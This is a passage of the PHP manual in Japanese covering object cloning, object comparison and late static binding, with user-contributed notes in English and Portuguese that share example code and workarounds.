2. It IS possible to create a reference with a reference count of 1 - i.e. to convert an property from value type to reference type, without any extra references. All you have to do is declare that it refers to itself. This is HIGHLY idiosyncratic, but nevertheless it works. This leads to the observation that although the manual states that 'Any properties that are references to other variables, will remain references,' this is not strictly true. Any variables that are references, even to *themselves* (not necessarily to other variables), will be copied by reference rather than by value.

Here's an example to demonstrate:

<?php

class ByVal
{
    var $prop;
}

class ByRef
{
    var $prop;
    function __construct() { $this->prop =& $this->prop; }
}

$a = new ByVal;
$a->prop = 1;
$b = clone $a;
$b->prop = 2; // $a->prop remains at 1

$a = new ByRef;
$a->prop = 1;
$b = clone $a;
$b->prop = 2; // $a->prop is now 2

?>
cheetah at tanabi dot org 18-Nov-2008 05:15
Want deep cloning without too much hassle?

<?php
function __clone() {
    foreach($this as $key => $val) {
        if(is_object($val)||(is_array($val))){
            $this->{$key} = unserialize(serialize($val));
        }
    }
}
?>

That will insure any object, or array that may potentially contain objects, will get cloned without using recursion or other support methods.

[EDIT BY danbrown AT php DOT net: An almost exact function was contributed on 02-DEC-2008-10:18 by (david ashe AT metabin):

<?php
    function __clone(){
        foreach($this as $name => $value){
            if(gettype($value)=='object'){
                $this->$name= clone($this->$name);
            }
        }
    }
?>

Giving credit where it's due.  ~DPB]
[EDIT BY cmb AT php DOT net: the latter function fails to make deep copies of object arrays, and might end up with infinite recursion.]
crrodriguez at suse dot de 12-Mar-2008 09:52
Keep in mind that since PHP 5.2.5, trying to clone a non-object correctly results in a fatal error, this differs from previous versions where only a Warning was thrown.
Hayley Watson 17-Dec-2007 03:51
It should go without saying that if you have circular references, where a property of object A refers to object B while a property of B refers to A (or more indirect loops than that), then you'll be glad that clone does NOT automatically make a deep copy!

<?php

class Foo
{
    var $that;

function __clone()
{
    $this->that = clone $this->that;
}

}

$a = new Foo;
$b = new Foo;
$a->that = $b;
$b->that = $a;

$c = clone $a;
echo 'What happened?';
var_dump($c);
MakariVerslund at gmail dot com 21-Jan-2007 04:30
I ran into the same problem of an array of objects inside of an object that I wanted to clone all pointing to the same objects. However, I agreed that serializing the data was not the answer. It was relatively simple, really:

public function __clone() {
    foreach ($this->varName as &$a) {
        foreach ($a as &$b) {
            $b = clone $b;
        }
    }
}

Note, that I was working with a multi-dimensional array and I was not using the Key=>Value pair system, but basically, the point is that if you use foreach, you need to specify that the copied data is to be accessed by reference.
jorge dot villalobos at gmail dot com 30-Mar-2005 03:29
I think it's relevant to note that __clone is NOT an override. As the example shows, the normal cloning process always occurs, and it's the responsibility of the __clone method to "mend" any "wrong" action performed by it.


オブジェクトの比較

比較演算子(==)を使用する際、 オブジェクト変数は、単純に比較されます。つまり、 二つのオブジェクトのインスタンスは、 同じ属性と値 (値の比較は == によるもの) を有し、同じクラスのインスタンスである場合に、 等しいとされます。

一致演算子(===)を使用する場合、 オブジェクト変数は、同じクラスの同じインスタンスを参照する場合のみ、 等しいとされます。

これらのルールを明確に示す例を以下に示します。

例1 オブジェクト比較の例

<?php
function bool2str($bool)
{
    if ($bool === false) {
        return 'FALSE';
    } else {
        return 'TRUE';
    }
}

function compareObjects(&$o1, &$o2)
{
    echo 'o1 == o2 : ' . bool2str($o1 == $o2) . "\n";
    echo 'o1 != o2 : ' . bool2str($o1 != $o2) . "\n";
    echo 'o1 === o2 : ' . bool2str($o1 === $o2) . "\n";
    echo 'o1 !== o2 : ' . bool2str($o1 !== $o2) . "\n";
}

class Flag
{
    public $flag;

    function __construct($flag = true) {
        $this->flag = $flag;
    }
}

class OtherFlag
{
    public $flag;

    function __construct($flag = true) {
        $this->flag = $flag;
    }
}

$o = new Flag();
$p = new Flag();
$q = $o;
$r = new OtherFlag();

echo "同一クラスの2つのインスタンス\n";
compareObjects($o, $p);

echo "\n同じインスタンスへの2つのリファレンス\n";
compareObjects($o, $q);

echo "\n2つの異なるクラスのインスタンス\n";
compareObjects($o, $r);
?>

上の例の出力は以下となります。

同一クラスの2つのインスタンス
o1 == o2 : TRUE
o1 != o2 : FALSE
o1 === o2 : FALSE
o1 !== o2 : TRUE

同じインスタンスへの2つのリファレンス
o1 == o2 : TRUE
o1 != o2 : FALSE
o1 === o2 : TRUE
o1 !== o2 : FALSE

2つの異なるクラスのインスタンス
o1 == o2 : FALSE
o1 != o2 : TRUE
o1 === o2 : FALSE
o1 !== o2 : TRUE

注意:

拡張モジュール内では、自前で作成したオブジェクトの (== による) 比較方法を独自に定義することができます。

User Contributed Notes

rnealxp at yahoo dot com 12-Apr-2020 04:19
Please use this corrected version of function "valuesAreIdentical" instead of that which I previously posted (dependencies found in previous post); if an Admin can just replace the fn snippet, awesome/thanks, otherwise, apologies.
<?php
    public static function valuesAreIdentical($v1, $v2):bool{
        $type1 = gettype($v1);
        $type2 = gettype($v2);
        switch(true){
            case ($type1 !== $type2):
                return false;
            case ($type1==='boolean' || $type1==='integer' || $type1==='double' || $type1==='string'):
                //Do strict comparison here.
                return ($v1===$v2);
            case ($type1==='array'):
                return self::arraysAreIdentical($v1, $v2);
            case ($type1==='object'):
                return self::objectsAreIdentical($v1,$v2);
            case ($type1==='NULL'):
                //Since both types were of type NULL, consider their "values" equal.
                return true;
            case ($type1==='resource' || $type1==='unknown type'):
                //How to compare if at all?
                return true;
            default:
                return true; //Code-flow not intended to arrive here.
        } //end switch
    }
?>
rnealxp at yahoo dot com 20-May-2017 10:26
These three functions call themselves recursively and handle any nesting levels of arrays/objects/values and do strict comparisons. The entry-point to this function set would be "valuesAreIdentical".

<?php
function valuesAreIdentical($v1, $v2): bool {
    $type1 = gettype($v1);
    $type2 = gettype($v2);

    if($type1 !== $type2){
        return false;
    }

    switch(true){
        case ($type1==='boolean' || $type1==='integer' || $type1==='double' || $type1==='string'):
            //Do strict comparison here.
            if($v1 !== $v2){
                return false;
            }
            break;

        case ($type1==='array'):
            $bool = arraysAreIdentical($v1, $v2);
            if($bool===false){
                return false;
            }
            break;

        case 'object':
            $bool = objectsAreIdentical($v1,$v2);
            if($bool===false){
                return false;
            }
            break;

        case 'NULL':
            //Since both types were of type NULL, consider their "values" equal.
            break;

        case 'resource':
            //How to compare if at all?
            break;

        case 'unknown type':
            //How to compare if at all?
            break;
    } //end switch

    //All tests passed.
    return true;
}

function objectsAreIdentical($o1, $o2): bool {
    //See if loose comparison passes.
    if($o1 != $o2){
        return false;
    }

    //Now do strict(er) comparison.
    $objReflection1 = new ReflectionObject($o1);
    $objReflection2 = new ReflectionObject($o2);

    $arrProperties1 = $objReflection1->getProperties(ReflectionProperty::IS_PUBLIC);
    $arrProperties2 = $objReflection2->getProperties(ReflectionProperty::IS_PUBLIC);

    $bool = arraysAreIdentical($arrProperties1, $arrProperties2);
    if($bool===false){
        return false;
    }

    foreach($arrProperties1 as $key=>$propName){
        $bool = valuesAreIdentical($o1->$propName, $o2->$propName);
        if($bool===false){
            return false;
        }
    }

    //All tests passed.
    return true;
}

function arraysAreIdentical(array $arr1, array $arr2): bool {
    $count = count($arr1);

    //Require that they have the same size.
    if(count($arr2) !== $count){
        return false;
    }

    //Require that they have the same keys.
    $arrKeysInCommon = array_intersect_key($arr1, $arr2);
    if(count($arrKeysInCommon)!== $count){
        return false;
    }

    //Require that their keys be in the same order.
    $arrKeys1 = array_keys($arr1);
    $arrKeys2 = array_keys($arr2);
    foreach($arrKeys1 as $key=>$val){
        if($arrKeys1[$key] !== $arrKeys2[$key]){
            return false;
        }
    }

    //They do have same keys and in same order.
    foreach($arr1 as $key=>$val){
        $bool = valuesAreIdentical($arr1[$key], $arr2[$key]);
        if($bool===false){
            return false;
        }
    }

    //All tests passed.
    return true;
}
?>
roberto dot ifpa dot ufra at gmail dot com 09-Jan-2015 10:04
Este exemplo e bem simples.
No exemplo abaixo,  irei comparar dois Objetos, tanto para saber se eles sao iguais e identicos ou iguais, porem nao identicos ou sao objetos diferentes.

<?php

class Visibilidades {

    private $num;
    //metodo construtor
    function __construct($num) {
        $this->num = $num;
    }
    //comparando
    function booleanNum (Visibilidades $obj) {
        if ($this->num == $obj->num) {
            echo "Iguais";
            if ($this->num === $obj->num) {
                echo " e Identicos";
            } else {
                echo ",porem nao Identicos";
            }
        } else {
            echo "Diferentes";
        }
    }
}

$Obj1 = new Visibilidades('123');
$Obj2 = new Visibilidades('123');

$Obj1->booleanNum($Obj2);
?>

Neste forma o resultado sera: (Iguais e Identicos).
Se modificar  <?php $Obj2 = new Visibilidades(123); ?> sem as aspas simples o resultado sera: (Iguais, porem nao Identicos).
nhuhoai 17-Feb-2014 12:45
For comparison about two objects in a class, you can use an interface like this and customize your functions for each class:

<?php
interface EQU {
    public static function compare( EQU $me, EQU $you );
    public function equals( EQU $you );
}
?>

If you gotcha a super class, you can make generic functions (not safe but work with not complex class):

<?php
abstract class SuperClass {
    public function __construct( ) {
        // do what you need
    }
    public static function compare( $obj1, $obj2 ) {
        return serialize( $obj1 ) == serialize( $obj2 );
    }
    public function equals( $obj ) {
        return static::compare( $this, $obj );
    }
}
?>
Oddant 29-May-2013 05:15
This example is way too much confusing, if you new to php comparison motor, you should think (after reading this example) that '==' is actually comparing the type of the objects. that's not true, it actually compares the type of the objects AND the properties of them.

<?php

class A {
    private $value;
    function __construct ($value)
    {
        $this->value = $value;
    }
}
class B {
    private $value;
    function __construct ($value)
    {
        $this->value = $value;
    }
}

$a1 = new A (1);
$a2 = new A (2);
$b1 = new B (1);

var_dump( $a1 == $a2 );
var_dump( $a1 == $b1 );
?>
Anonymous 02-Jul-2010 09:00
Comparison using <> operators should be documented.  Between two objects, at least in PHP5.3, the comparison operation stops and returns at the first unequal property found.

<?php

$o1 = new stdClass();
$o1->prop1 = 'c';
$o1->prop2 = 25;
$o1->prop3 = 201;
$o1->prop4 = 1000;

$o2 = new stdClass();
$o2->prop1 = 'c';
$o2->prop2 = 25;
$o2->prop3 = 200;
$o2->prop4 = 9999;

echo (int)($o1 < $o2); // 0
echo (int)($o1 > $o2); // 1

$o1->prop3 = 200;

echo (int)($o1 < $o2); // 1
echo (int)($o1 > $o2); // 0

?>
Hayley Watson 16-Sep-2008 03:33
This has already been mentioned (see jazfresh at hotmail.com's note), but here it is again in more detail because for objects the difference between == and === is significant.

Loose equality (==) over objects is recursive: if the properties of the two objects being compared are themselves objects, then those properties will also be compared using ==.

<?php
class Link
{
    public $link; function __construct($link) { $this->link = $link; }
}
class Leaf
{
    public $leaf; function __construct($leaf) { $this->leaf = $leaf; }
}

$leaf1 = new Leaf(42);
$leaf2 = new Leaf(42);

$link1 = new Link($leaf1);
$link2 = new Link($leaf2);

echo "Comparing Leaf object equivalence: is \$leaf1==\$leaf2? ", ($leaf1 == $leaf2  ? "Yes" : "No"), "\n";
echo "Comparing Leaf object identity: is \$leaf1===\$leaf2? ",   ($leaf1 === $leaf2 ? "Yes" : "No"), "\n";
echo "\n";
echo "Comparing Link object equivalence: is \$link1==\$link2? ",($link1 == $link2  ? "Yes" : "No"), "\n";
echo "Comparing Link object identity: is \$link1===\$link2? ",  ($link1 === $link2 ? "Yes" : "No"), "\n";
?>

Even though $link1 and $link2 contain different Leaf objects, they are still equivalent because the Leaf objects are themselves equivalent.

The practical upshot is that using "==" when "===" would be more appropriate can result in a severe performance penalty, especially if the objects are large and/or complex. In fact, if there are any circular relationships involved between the objects or (recursively) any of their properties, then a fatal error can result because of the implied infinite loop.

<?php
class Foo { public $foo; }
$t = new Foo; $t->foo = $t;
$g = new Foo; $g->foo = $g;

echo "Strict identity:   ", ($t===$g ? "True" : "False"),"\n";
echo "Loose equivalence: ", ($t==$g  ? "True" : "False"), "\n";
?>

So preference should be given to comparing objects with "===" rather than "=="; if two distinct objects are to be compared for equivalence, try to do so by examining suitable individual properties. (Maybe PHP could get a magic "__equals" method that gets used to evaluate "=="? :) )
wbcarts at juno dot com 08-Sep-2008 01:36
COMPARING OBJECTS using PHP's usort() method.

PHP and MySQL both provide ways to sort your data already, and it is a good idea to use that if possible. However, since this section is on comparing your own PHP objects (and that you may need to alter the sorting method in PHP), here is an example of how you can do that using PHP's "user-defined" sort method, usort() and your own class compare() methods.

<?php

/*
 * Employee.php
 *
 * This class defines a compare() method, which tells PHP the sorting rules
 * for this object - which is to sort by emp_id.
 *
 */
class Employee
{
    public $first;
    public $last;
    public $emp_id;     // the property we're interested in...

    public function __construct($emp_first, $emp_last, $emp_ID)
    {
        $this->first = $emp_first;
        $this->last = $emp_last;
        $this->emp_id = $emp_ID;
    }

    /*
     * define the rules for sorting this object - using emp_id.
     * Make sure this function returns a -1, 0, or 1.
     */
    public static function compare($a, $b)
    {
        if ($a->emp_id < $b->emp_id) return -1;
        else if($a->emp_id == $b->emp_id) return 0;
        else return 1;
    }

    public function __toString()
    {
        return "Employee[first=$this->first, last=$this->last, emp_id=$this->emp_id]";
    }
}

# create a PHP array and initialize it with Employee objects.
$employees = array(
  new Employee("John", "Smith", 345),
  new Employee("Jane", "Doe", 231),
  new Employee("Mike", "Barnes", 522),
  new Employee("Vicky", "Jones", 107),
  new Employee("John", "Doe", 2),
  new Employee("Kevin", "Patterson", 89)
);

# sort the $employees array using Employee compare() method.
usort($employees, array("Employee", "compare"));

# print the results
foreach($employees as $employee)
{
  echo $employee . '<br>';
}
?>

Results are now sorted by emp_id:

Employee[first=John, last=Doe, emp_id=2]
Employee[first=Kevin, last=Patterson, emp_id=89]
Employee[first=Vicky, last=Jones, emp_id=107]
Employee[first=Jane, last=Doe, emp_id=231]
Employee[first=John, last=Smith, emp_id=345]
Employee[first=Mike, last=Barnes, emp_id=522]

Important Note: Your PHP code will never directly call the Employee's compare() method, but PHP's usort() calls it many many times. Also, when defining the rules for sorting, make sure to get to a "primitive type" level... that is, down to a number or string, and that the function returns a -1, 0, or 1, for reliable and consistent results.

Also see: http://www.php.net/manual/en/function.usort.php for more examples of PHP's sorting facilities.
cross+php at distal dot com 05-Mar-2008 08:50
In response to "rune at zedeler dot dk"s comment about class contents being equal, I have a similar issue.  I want to sort an array of objects using sort().

I know I can do it with usort(), but I'm used to C++ where you can define operators that allow comparison.  I see in the zend source code that it calls a compare_objects function, but I don't see any way to implement that function for an object.  Would it have to be an extension to provide that interface?

If so, I'd like to suggest that you allow equivalence and/or comparison operations to be defined in a class definition in PHP.  Then, the sorts of things rune and I want to do would be much easier.
rune at zedeler dot dk 28-Feb-2007 08:34
Whoops, apparently I hadn't checked the array-part of the below very well.
Forgot to test if the arrays had same length, and had some misaligned parenthesis.
This one should work better :+)

<?
function deepCompare($a,$b) {
  if(is_object($a) && is_object($b)) {
    if(get_class($a)!=get_class($b))
      return false;
    foreach($a as $key => $val) {
      if(!deepCompare($val,$b->$key))
        return false;
    }
    return true;
  }
  else if(is_array($a) && is_array($b)) {
    while(!is_null(key($a)) && !is_null(key($b))) {
      if (key($a)!==key($b) || !deepCompare(current($a),current($b)))
        return false;
      next($a); next($b);
    }
    return is_null(key($a)) && is_null(key($b));
  }
  else
    return $a===$b;
}
?>
rune at zedeler dot dk 27-Feb-2007 08:27
I haven't found a build-in function to check whether two obects are identical - that is, all their fields are identical.
In other words,

<?
class A {
  var $x;
  function __construct($x) { $this->x = $x; }

}
$identical1 = new A(42);
$identical2 = new A(42);
$different = new A('42');
?>

Comparing the objects with "==" will claim that all three of them are equal. Comparing with "===" will claim that all are un-equal.
I have found no build-in function to check that the two identicals are
identical, but not identical to the different.

The following function does that:

<?
function deepCompare($a,$b) {
  if(is_object($a) && is_object($b)) {
    if(get_class($a)!=get_class($b))
      return false;
    foreach($a as $key => $val) {
      if(!deepCompare($val,$b->$key))
    return false;
    }
    return true;
  }
  else if(is_array($a) && is_array($b)) {
    while(!is_null(key($a) && !is_null(key($b)))) {
      if (key($a)!==key($b) || !deepCompare(current($a),current($b)))
    return false;
      next($a); next($b);
    }
    return true;
  }
  else
    return $a===$b;
}
?>
jazfresh at hotmail.com 08-Dec-2006 02:36
Note that when comparing object attributes, the comparison is recursive (at least, it is with PHP 5.2). That is, if $a->x contains an object then that will be compared with $b->x in the same manner. Be aware that this can lead to recursion errors:
<?php
class Foo {
    public $x;
}
$a = new Foo();
$b = new Foo();
$a->x = $b;
$b->x = $a;

print_r($a == $b);
?>
Results in:
PHP Fatal error:  Nesting level too deep - recursive dependency? in test.php on line 11


遅延静的束縛 (Late Static Bindings)

PHP には、遅延静的束縛と呼ばれる機能が搭載されています。 これを使用すると、静的継承のコンテキストで呼び出し元のクラスを参照できるようになります。

より正確に言うと、遅延静的束縛は直近の "非転送コール" のクラス名を保存します。
静的メソッドの場合、これは明示的に指定されたクラス (通常は
::
演算子の左側に書かれたもの) となります。静的メソッド以外の場合は、そのオブジェクトのクラスとなります。
"転送コール" とは、self:: や
parent::、static:: による静的なコール、
あるいはクラス階層の中での forward_static_call() によるコールのことです。

get_called_class() 関数を使うとコール元のクラス名を文字列で取得できます。
static:: はこのクラスのスコープとなります。

この "遅延静的束縛" という機能名は、内部動作を考慮してつけられたものです。 "遅延束縛 (Late binding)" の由来は、メソッドを定義しているクラス名を使用しても static:: の解決ができないことによります。 その代わりに、実行時情報をもとに解決するようになります。 "静的束縛 (static binding)" の由来は、 静的メソッドのコールに使用できることによります (ただし、静的メソッド以外でも使用可能です)。

self:: の制限

self:: あるいは __CLASS__ による現在のクラスへの静的参照は、 そのメソッドが属するクラス (つまり、 そのメソッドが定義されているクラス) に解決されます。

例1 self:: の使用例

<?php
class A {
    public static function who() {
        echo __CLASS__;
    }
    public static function test() {
        self::who();
    }
}

class B extends A {
    public static function who() {
        echo __CLASS__;
    }
}

B::test();
?>

上の例の出力は以下となります。

A

遅延静的束縛の使用法

遅延静的束縛は、この制限を解決するためのキーワードを導入し、 実行時に最初にコールされたクラスを参照するようにしています。 このキーワードを使用すると、先ほどの例における test() から B を参照できるようになります。 このキーワードは新たに追加したものではなく、すでに予約済みである static を使用しています。

例2 static:: のシンプルな使用法

<?php
class A {
    public static function who() {
        echo __CLASS__;
    }
    public static function test() {
        static::who(); // これで、遅延静的束縛が行われます
    }
}

class B extends A {
    public static function who() {
        echo __CLASS__;
    }
}

B::test();
?>

上の例の出力は以下となります。

B

注意:

静的でないコンテキストでは、呼び出されるクラスはそのオブジェクトのクラスと同じになります。 $this-> は private メソッドを同じスコープからコールしようとするので、 static:: を使うと異なる結果となります。もうひとつの相違点は、 static:: は静的なプロパティしか参照できないということです。

例3 非静的コンテキストにおける static:: の使用法

<?php
class A {
    private function foo() {
        echo "success!\n";
    }
    public function test() {
        $this->foo();
        static::foo();
    }
}

class B extends A {
   /* foo() が B にコピーされるので、メソッドのスコープは A のままとなり、
    * コールは成功します */
}

class C extends A {
    private function foo() {
        /* もとのメソッドが置き換えられるので、新しいメソッドのスコープは C となります */
    }
}

$b = new B();
$b->test();
$c = new C();
$c->test();   //fails
?>

上の例の出力は以下となります。

success!
success!
success!

Fatal error:  Call to private method C::foo() from context 'A' in /tmp/test.php on line 9

注意:

遅延静的束縛の解決は、静的コールが代替なしに完全に解決された時点で終了します。 一方、parent:: や self:: といったキーワードを使用する静的コールは、コール元の情報を転送します。

例4 転送するコールと転送しないコール

<?php
class A {
    public static function foo() {
        static::who();
    }

    public static function who() {
        echo __CLASS__."\n";
    }
}

class B extends A {
    public static function test() {
        A::foo();
        parent::foo();
        self::foo();
    }

    public static function who() {
        echo __CLASS__."\n";
    }
}
class C extends B {
    public static function who() {
        echo __CLASS__."\n";
    }
}

C::test();
?>

上の例の出力は以下となります。

A
C
C

User Contributed Notes

MelkiySoft 26-Apr-2018 09:26
<?php

class A
{

}

class B extends A
{
    public static function foo () {
        echo 'new self: ';
        var_dump(new self());
        echo '<br>new parent: ';
        var_dump(new parent());
        echo '<br>new static: ';
        var_dump(new static());
    }
}

class C extends B
{

}

c::foo();
===========================
output:
//new self: object(B)#1 (0) { }
//new parent: object(A)#1 (0) { }
//new static: object(C)#1 (0) { }
sskaje at gmail dot com 31-Aug-2015 04:01
static::class and self::class can be used to get current class name,
work under 5.5 and 5.6
failed in 5.3.

<?php
class a{
    function d() {
        echo "=== self::class ===\n";
        var_dump(self::class);
        echo "=== static::class ===\n";
        var_dump(static::class);
    }
}
class b extends a{}
class c extends b{}

a::d();
b::d();
c::d();

/*
Output:

=== self::class ===
string(1) "a"
=== static::class ===
string(1) "a"
=== self::class ===
string(1) "a"
=== static::class ===
string(1) "b"
=== self::class ===
string(1) "a"
=== static::class ===
string(1) "c"

*/
tamilps2 at gmail dot com 20-Mar-2014 05:42
I have implemented enum using late static binding.

<?php
interface IEnum {
  /**
   * Only concrete class should implement this function that should behave as
   * an enum.
   *
   * This method should return the __CLASS__ constant property of that class
   *
   * @return string __CLASS__
   */
  public static function who();
}

abstract class Enum {

  /**
   * The selected value for the enum implementation
   *
   * @var mixed
   */
  public $value;

  public function __construct($value) {
    $this->value = $value;
  }

  /**
   * The factory method that creates the corresponding enum class.
   *
   * @param integer $type
   * @return false|\class
   */
  public static function Factory($type) {
    if (empty($type)) {
      return false;
    }

    // use of late static binding to get the class.
    $class = static::who();

    if (array_key_exists($type, static::$_enums)) {
      return new $class($type);
    }

    return false;
  }

  public function getValue() {
    return $this->value;
  }

  public static function getValues() {
    return array_keys(static::$_enums);
  }

  public function getString() {
    return static::$_enums[$this->value];
  }

  public function __toString() {
    return static::$_enums[$this->value];
  }

}

class Fruits extends Enum implements IEnum {

      public static $_enums = array(
            1 => 'Apple'
            2 => 'Orange'
            3 => 'Banana'
      )

      public static function who() {
             return __CLASS__;
      }
}

// Usage

// user input from dropdown menu of fruits list
$input = 3;

$fruit = Fruits::Factory($input);

$fruit->getValue(); // 3
$fruit->getString(); // Banana
?>
mhh1422 at hotmail dot com 29-Dec-2013 11:58
For abstract classes with static factory method, you can use the static keyword instead of self like the following:
<?php

abstract class A{

    static function create(){

        //return new self();  //Fatal error: Cannot instantiate abstract class A

        return new static(); //this is the correct way

    }

}

class B extends A{
}

$obj=B::create();
var_dump($obj);

?>
Taai 21-Aug-2012 10:36
I discovered an interesting thing. The class name string must be accessed directly from "flat" variable. Late static binding code that get's it's variable from array that is passed by class instance, throws an syntax error. Bug?

<?php
class A {

    public $metadata = array('class' => 'A');

    public static function numbers()
    {
        return 123;
    }

}

$instance = new A();

// This throws an error
// Parse error: syntax error, unexpected '::' (T_PAAMAYIM_NEKUDOTAYIM)
var_dump( $instance->metadata['class']::numbers() );

// Get the class name and store it in "flat" variable and now it's ok
$class_name = $instance->metadata['class'];
var_dump( $class_name::numbers() );

// Other tests -------------------------------------------

$arr =  array('class' => 'A');

// This works too.
var_dump( $arr['class']::numbers() );
?>
jrfish dot x at gmail dot com 09-Dec-2010 04:05
also works the same way with static variables and constants
jrfish dot x at gmail dot com 09-Dec-2010 04:01
consider this:

<?php
class A
{

 // some stuff....

    public static function getInstance()
    {
        return new self();
    }

}

class B extends A
{
  //stuff...
}

$obj = B::getInstance();

//versus

class A
{

 // some stuff....

    public static function getInstance()
    {
        return new static();
    }

}

class B extends A
{
  //stuff...
}

$obj = B::getInstance();
?>

also works the same way with static variables and constants
Anonymous 24-Nov-2010 09:22
THIS WORKED GREAT FOR ME:

<?php
abstract class ParentClass
{
    static function parent_method()
    {
        $child_class_str = self::get_child_class();
        eval("\$r = ".$child_class_str."::abstract_static();");
        return $r;
    }// CHILD MUST OVERRIDE TO PUT ITSELF INTO TRACE

    protected abstract static function abstract_static();

    private static function get_child_class()
    {
        $backtrace = debug_backtrace();
        $num = count($backtrace);
        for($i = 0; $i < $num; $i++)
        {
            if($backtrace[$i]["class"] !== __CLASS__)
                return $backtrace[$i]["class"];
        }
        return null;
    }
}

class ChildClass extends ParentClass
{
    static function parent_method(){ return parent::parent_method(); }

    protected static function abstract_static()
    {
        return __METHOD__."()";
    }// From ParentClass
}

print "The call was: ". ChildClass::parent_method();
?>
jakub dot lopuszanski at nasza-klasa dot pl 08-Nov-2010 10:12
Suprisingly consts are also lazy bound even though you use self instead of static:
<?php
class A{
  const X=1;
  const Y=self::X;
}
class B extends A{
  const X=1.0;
}
var_dump(B::Y); // float(1.0)
?>
tfn dot yldrm at hotmail dot com 26-Oct-2010 12:30
example for static binding on 5.2 and real enumaration
<?php
    /**
    * Static Binding On PHP 5.2
    * @author Tufan Baris YILDIRIM
    * @since 26.10.2010
    */
    abstract class EnumBase
    {
        protected $num = 0;
        public $toString;
        public $toInt;

        public function __construct($enumKeyOrVal)
        {

            unset($this->toString,$this->toInt);

            $enums = $this->enums();

            if(
            empty($enumKeyOrVal)
            ||
            !(isset($enums[$this->num = $enumKeyOrVal])
            ||
            ($this->num = array_search($enumKeyOrVal,$enums)) !== false)
            )
                $this->num = 0;

            /**
            *  5.3 Version
            */
            /*
            *  if(
            empty($enumKeyOrVal)
            ||
            !(isset(static::$enums[$this->num = $enumKeyOrVal])
            ||
            ($this->num = array_search($enumKeyOrVal,static::$enums)) !== false)
            )
            $this->num = 0;
            */
        }

        #5.3 e gecilirse gerek kalmaz.
        public function vars()
        {
            return get_class_vars(get_class($this));
        }

        public function enums()
        {
            $vars = $this->vars();
            return $vars['enums'];
        }

        public function __get($property)
        {
            if(method_exists($this,'__'.$property))
                return $this->{'__'.$property}();
            else
                return $this->__toString();
        }

        public function __toInt()
        {
            return $this->num;
        }

        public function __toString()
        {

            $enums = $this->enums();

            if(isset($enums[$this->num]))
            {
                return $enums[$this->num];
            }
            else
            {
                return $enums[0];
            }

            /**
            * 5.3 Version
            */

            /*
            if(isset(static::$enums[$this->num]))
            {
            return static::$enums[$this->num];
            }
            else
            {
            return static::$enums[0];
            }
            */
        }
    }

    class Positions extends EnumBase
    {
        public static $enums = array(
        0 => 'Bilinmiyor',
        1 => 'Kale',
        2 => 'Defans',
        3 => 'Orta Saha',
        4 => 'Forvet'
        );
    }

    $a = new Positions('Orta Saha');
    $b = new Positions(4);

    $c = (string)$a; // Orta Saha
    $d = (string)$b; // Forvet
?>
steven dot karas+nospam at gmail dot com 27-Sep-2010 02:38
This function can be used as a workaround for late static binding in PHP >= 5.1.0. There was another similar version of this function elsewhere, but used eval.

<?php

function & static_var($class, $name)
{
    if (is_object($class))
    {
        $class = get_class($class);
    }
    elseif ( ! is_string($class))
    {
        throw new Exception('Must be given an object or a class name', NULL);
    }

    $class = new ReflectionClass($class);
    return $class->getStaticPropertyValue($name);
}

?>
adam dot prall at thinkingman dot com 11-Jun-2010 09:51
Just a quick reminder to always check your syntax. While I love LSB, I thought it wasn't working:

static::$sKey = not set

...until I realized that I'd completely forgotten to make it a variable variable:

$sKey = 'testStaticClassVarNameThatExistsInThisClassesScope';

static::$$sKey = is set

...of course this applies anywhere in PHP, but because of the (current) newness late static bindings, I've seen lots of code with this particular snafu in it from others.
joost dot t dot hart at planet dot nl 21-Aug-2009 06:34
PHP5.3 unavailable, yet in the need for 'static', I did the following.

Any objections? Personally I hate using the the eval() statement...

<?php

class mother
{
    function setStatic( $prop, $val ) {
        // After this, self:: refers to mother, yet next $class refers to...
        //
        $class = get_class( $this );
        eval( "$class::\$$prop = \$$val;" );
    }
}

class child extends mother
{
    protected static $sProp;

    function writer( $value ) {
        parent::setStatic( 'sProp', $value );
    }
    function reader()
    {
        return self::$sProp;
    }
}

$c = new child();
$c->writer( 3 );
echo $c->reader(); // 3

?>
tom 03-Jul-2009 06:28
Something you may find useful for passive code-testing:

<?php
class BaseClass {
  function __get($id) {
    throw new Exception("Trying to access undefined property '$id'.");
  }
  function __set($id) {
    throw new Exception("Trying to access undefined property '$id'.");
  }
}

class MyClass extends BaseClass {
// my implementation
}
?>

Using these magic function as described above will help you to find classes that try to access an undefined (and undocumented) class-member. In most cases: this is an error based on misspelled member names.
kenneth at kennethjorgensen dot com 30-Mar-2009 02:19
Simple basic class which uses to get_called_class() to create singleton instances. A previous post by php at mikebird dot co dot uk explain how to do this, but the extended static variables require you to define them in child classes before they work.

<?php

abstract class Singleton {
    private static $instances = array();

    public function __construct() {
        $class = get_called_class();
        if (array_key_exists($class, self::$instances))
            trigger_error("Tried to construct  a second instance of class \"$class\"", E_USER_WARNING);
    }

    public static function getInstance() {
        $class = get_called_class();
        if (array_key_exists($class, self::$instances) === false)
            self::$instances[$class] = new $class();
        return self::$instances[$class];
    }
}

class A extends Singleton {
}

class B extends Singleton {
}

$a1 = A::getInstance();
$a2 = A::getInstance();
$b1 = B::getInstance();
$b2 = B::getInstance();

if (get_class($a1) == "A" &&
    get_class($a2) == "A" &&
    get_class($b1) == "B" &&
    get_class($b2) == "B" &&
    $a1 === $a2 &&
    $b1 === $b2)
    echo "All good\n";
else
    echo "FAIL!\n";

?>

You probably noticed the use of self:: rather than static::, this is because we want the static variable to be private, and using static:: will not allow us to do that.
gern_ at hotmail dot com 18-Sep-2008 07:51
get_called_class for PHP < 5.3

<?php
/**
 * Return called class name
 *
 * @author Michael Grenier
 * @param int $i_level optional
 * @return string
 */
function get_called_class ($i_level = 1)
{
    $a_debug = debug_backtrace();
    $a_called = array();
    $a_called_function = $a_debug[$i_level]['function'];
    for ($i = 1, $n = sizeof($a_debug); $i < $n; $i++)
    {
        if (in_array($a_debug[$i]['function'], array('eval')) ||
            strpos($a_debug[$i]['function'], 'eval()') !== false)
            continue;
        if (in_array($a_debug[$i]['function'], array('__call', '__callStatic')))
            $a_called_function = $a_debug[$i]['args'][0];
        if ($a_debug[$i]['function'] == $a_called_function)
            $a_called = $a_debug[$i];
    }
    if (isset($a_called['object']) && isset($a_called['class']))
        return (string)$a_called['class'];
    $i_line = (int)$a_called['line'] - 1;
    $a_lines = explode("\n", file_get_contents($a_called['file']));
    preg_match("#([a-zA-Z0-9_]+){$a_called['type']}
                {$a_called['function']}( )*\(#", $a_lines[$i_line], $a_match);
    unset($a_debug, $a_called, $a_called_function, $i_line, $a_lines);
    if (sizeof($a_match) > 0)
        $s_class = (string)trim($a_match[1]);
    else
